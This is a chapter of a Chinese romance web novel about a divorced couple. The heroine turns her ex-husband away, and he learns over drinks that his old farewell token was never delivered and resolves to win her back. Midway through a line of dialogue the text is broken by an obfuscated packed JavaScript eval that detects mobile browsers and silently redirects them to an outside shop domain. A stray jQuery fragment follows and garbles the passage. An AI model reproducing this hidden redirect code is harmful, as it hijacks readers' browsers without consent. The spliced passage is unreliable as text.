文趣网 > 其他小说 > 与侯府世子和离后 > 38. 重燃
    沈玉珩走了。

    冬青眼睁睁看着他一点一点消失在她的视线,略微佝偻的背影竟有一丝孤寂的感觉,不知不觉间滑下两行泪水。

    眼泪滴落在手背时,冬青才察觉,不由笑起来,这不就是自己想要的结果吗?她应该开心才对,抬起手囫囵抹去泪痕。

    那晚之后,沈玉珩再也没来过。这次,他是彻底离开了。

    有时候,冬青早晨打开店门时会有些时恍惚,潜意识觉得门口少了个人,怔愣一下才反应过来,他已经不会来了。

    偶尔,她会看着堂中愣神,竟然会莫名觉得有些空旷,像是少了些什么。

    回过神来,又暗自嗤笑一声,她在想什么呢?明明客人还是那么多,明明还是那么热闹,跟过去没什么两样。

    她甩了甩头,将这些乱七八糟的想法都抛诸脑后,手上更用劲,把全身力气都用在擀面一事上。

    正沉浸其中时,和惠公主的声音突然在身后响起:“冬青姐姐,听说你让怀瑾哥哥走了是吗?”

    冬青擀面的手一顿。

    和惠公主见她没有说话,那就是默认了,又上前了几步,紧盯着冬青双眼问道:“是因为我说的那些话吗?”

    她声音急切而忐忑,像是很怕因为自己的原因造成了如今的局面。

    冬青这才转过头,轻轻拍了拍和惠公主的手,安抚之意明显,语气平缓:“跟你无关,都是我自己的决定。”

    “我以为你们能和好的。”和惠公主语气低落而失望,声音都小了几分。

    冬青浅笑着摇头:“我们之间的事没有那么简单,那些晦涩难明的过往,每个失望到无法入眠的夜晚,我始终无法忘怀。我们之间就好比碎裂的镜子,破镜又怎能重圆呢?”

    和惠公主急了,紧紧抓住冬青的手臂:“怎么不能呢?我和孟……那个呆子,都和好如初了!”

    冬青的双目微微睁大,随即弯了弯嘴角,眼底浮起一丝真诚的欣慰:“恭喜你们!你和孟将军都对对方有意,和好不过是早晚的事。”

    “那你呢?”她盯着冬青的眼睛,执拗地问,“难道你对怀瑾哥哥,就没有感情吗?”

    她如此直白而犀利的问题让冬青神情一滞。

    沉默了片刻,冬青终于开口,声音很轻,表情却极为坦诚:“我不能说完全没有,毕竟是曾经全心全意投入的感情,即便自己再如何否认,但事实就是很难完全忘怀。”

    她抬起头,脸上的表情平静得近乎残忍。

    “可那又怎么样呢?我们之间有的,不过是一段错位的感情。在我最渴望、最需要的时候,他不曾给过我半分。在我已经决意重新开始的时候,他又怎能妄想,我还能像过去一样爱他?”

    “我不是任他呼之即来、挥之即去的木偶人,就算我心里还残留着一丝不舍和爱恋,然后呢?因为这一丝丝不舍,我就要抛弃如今好不容易得来的生活,继续被困在深宅大院里,忍受那些流言蜚语和冷嘲热讽,指望着他的怜爱过活?”

    她摇了摇头,目光坚定:“那不是我想要的生活。”

    和惠公主张了张嘴,还想再说些什么,冬青却抬手阻止:“不用再劝我了,我意已决,就这样吧。我们各自安好,这就是最好的结局。”

    而相比于冬青的释怀和平静,那晚的谈话对沈玉珩来说,却是深入骨髓的打击。

    他放下了自己所有的骄傲、体面和矜持,把一颗心赤裸裸地捧到她面前,可她却说“晚了”,连一个改过自新的机会都不给他。

    那两个字,像一柄钝刀,一刀一刀地剜着他的心。

    回到知行居后,沈玉珩整日一言不发。他把自己关在书房里,书房的门从里面反锁着,谁也不让进。

    下人们伺候时无不战战兢兢,唯恐一个不慎就要被痛骂一番,就连福安都不敢随意上前打扰。

    他整日整夜地写写画画,一幅又一幅画作跃然纸上,铺了一桌一地。

    放眼望去,画的都是同一个人。

    是冬青!

    笑着的她,怒着的她,沉默的她……都是她!

    到最后,心中的苦闷快要将他淹没,他再也无法待下去了。再不到外面透口气,他觉得自己就要被逼疯了。

    他漫无目的地在街上走着,不知道要去哪里,也不知道要干什么。

    脚像是自己有了意识,带着他穿过一条又一条街巷,等他回过神来,他已经站在了南市,来到了她从前摆摊的地方。

    那里早就换了人,哪里还有她的身影。

    如今是一个卖馄饨的老翁,支着一口大锅,热气腾腾地煮着。食客三三两两坐在矮凳上,有说有笑。

    沈玉珩站在街对面,看了很久。

    他对这里太熟悉了,他曾经无数次站在街角的阴影里,远远地看着她。

    可现在,他连远远看着的地方都没有了。

    半晌,他才收回目光,转身随意朝前走着。

    前方似乎是一家酒馆,昏黄的灯光映衬着三三两两谈笑嬉闹的客人。

    他曾听人说,酒能解千愁。从前他不信,觉得那是懦夫拿来逃避的借口。

    可今夜,他倒是想试一试,试一试这所谓的杜康到底能不能解忧。

    辛辣的液体从喉咙一路烧到胃里,烧得他眼眶发酸。

    一杯,两杯,三杯……

    他不知道自己到底喝了多少杯,脑子昏昏沉沉,可那些画面却越来越更清晰。

    她的眼泪,她的控诉,她的那句“晚了”。

    一遍一遍,在脑海里重复上演,一点一点啃噬着他的心。

    他斟满了酒,想要用酒浇灭那些画面。这时,凭空出现的一只手忽然按住了他的手,将手中的酒杯抢了过去。

    沈玉珩抬起迷蒙的眼,看见一张熟悉的脸——冯柏舟。

    “你怎么在这儿?”沈玉珩皱眉,伸手去夺酒杯。

    冯柏舟却不松手,叹了口气:“是福安来找我的。我要再不来,你是不是打算将自己醉死在这里?”

    沈玉珩并不回话,大声叫来小二,让他再拿只酒杯。

    冯柏舟见状,索性将酒杯还给了他:“既然如此,那我今日便陪你喝个痛快!”

    他接过小二送来的酒杯,给自己斟满,同沈玉珩碰了碰杯,将杯中酒一饮而尽。

    “俗话说‘天涯何处无芳草’,你何必要吊死在一棵树上?”他语气颇为语重心长,“你停职这近一个月,我邀了你多少次?你一次都不来,天天缩在那个小面馆里。最后呢?还不是只得了这么个结果。”

    沈玉珩自嘲一笑,声音沙哑:“对!你说得都对!是我活该!”

    冯柏舟见他这副模样,心里也不好受,又给他倒了一杯酒,放轻了声音。

    “说起来,当初你让我去去清溪村帮你道别、送信物的时候,我就觉得你们门不当户不对。后来我母亲办的梅花宴上,我第一次见到那位姑娘,更是觉得我当初的想法没错。更何况当时宴会上还出了那样的事……”

    他话没说完,沈玉珩突然抬起眼,醉意朦胧的眸子里闪过一丝精光。

    “第一次?怎么会是第一次?你去清溪村替我道别、送信物的时候,不应该见过她吗?你若见过她,就该知道,她不是你表面看到的那样。至于

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582325|202660||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    当时宴会上的事,她不过是被人陷害而已。”

    面对沈玉珩锐利的眼神,冯柏舟的脸忽然僵住了。

    他端起杯子喝了口酒,干咳了两声,语气颇为心虚:“那个……当时……当时出了些意外,我……我没亲眼见到她。”

    沈玉珩本已醉眼迷蒙的眸子,忽然像是被冷水浇过,猛地清亮起来。

    他倾身上前,一把揪住了冯柏舟的衣领:“到底怎么回事?”

    冯柏舟被他的反应吓了一跳,连忙握住他的手,示意他放松。

    “你别急,听我慢慢说。虽然我没亲眼见到她,但我见到了她的堂弟。他说他会帮我如实传话,也会把东西送到她手上。我看他说得信誓旦旦,又把她家的情况说得头头是道,连你的模样、性格都形容得八九不离十,我就……”

    “你就信了?”沈玉珩的声音冷得像冰碴子。

    “我就信了。”冯柏舟低下头,声音越来越小,“我当时想着,他是她堂弟,应该不会有问题……”

    沈玉珩松开手,慢慢坐了回去。

    后面的事,连调查都不用,沈玉珩就能猜到发生了什么了。

    以冬青和她三叔家的关系,别提传话,怕是这玉佩都被他们私吞了。

    这下,沈玉珩心中关于当初之事的最后一个疑问也解开了。

    原来竟是这样,原来她从未收到过自己道别的消息,更何谈表明他心意的玉佩。

    她不知道,他让人去传过话。

    她不知道,他托人送过信物。

    她不知道,他曾想告诉她,等他办完事,就回来找她。

    她什么都不知道,从头到尾,她都被蒙在鼓里。

    她何其无辜,要因为这些根本与她无关的事,经受那么多的嘲讽和凌辱。

    得知真相的愤怒和悔意占据了沈玉珩的脑海,那些无处宣泄的情绪似乎找到了出口。此刻的他理智全失,猛地站起身,一把掀翻了面前的桌子,碗碟酒坛碎了一地。

    他朝冯柏舟大吼:“你怎么可以,在不知对方底细的情况下,就将这么重要的事交给对方,怎么可以!”

    “你知道因为你的这个失误,她受了多少委屈吗?”他眼眶通红,声音近乎撕裂。

    冯柏舟被吓得站起来,后退了两步,脸色发白。

    他从未见过沈玉珩如此崩溃的样子,一时被吓到了,缓过神来才伸出手想安抚一下。

    岂料他吼完之后,忽然像是被抽空了所有力气,慢慢地蹲了下去。

    他双手捂着头,深深垂首,肩膀微微颤抖。

    懊恼、后悔、自责……所有的情绪像潮水一样涌上来,将他彻底淹没。

    到了这个时候,怪冯柏舟又有何用?怪来怪去,最该怪的还是他自己。

    是他的傲慢和愚蠢,亲手把她一步一步推远的,怨不得别人。

    此刻,他脑海里闪过过往发生的种种,最后定格在和离那晚,她看似平静,实则暗含失望和自嘲的眼神。

    不!不行!

    他怎么能让她带着过往的伤痕过一辈子!

    往事不可追,但未来,却不是。

    他要她以后的人生中,全是美好的回忆,让那些美好,将过往的伤痕统统覆盖,直到她再也想不起那些疼痛。

    此时的他才幡然醒悟,死寂多日的心再度活了过来,热血沸腾着,快要冲破他的胸膛。

    冯柏舟眼睁睁看着沈玉珩从死气沉沉的样子摇身一变,整个人仿佛重新焕发了光彩,眼中的光几乎要将他刺痛。

    而后,几乎是飞奔着,大步冲进了夜色里,朝南门大街的方向跑去。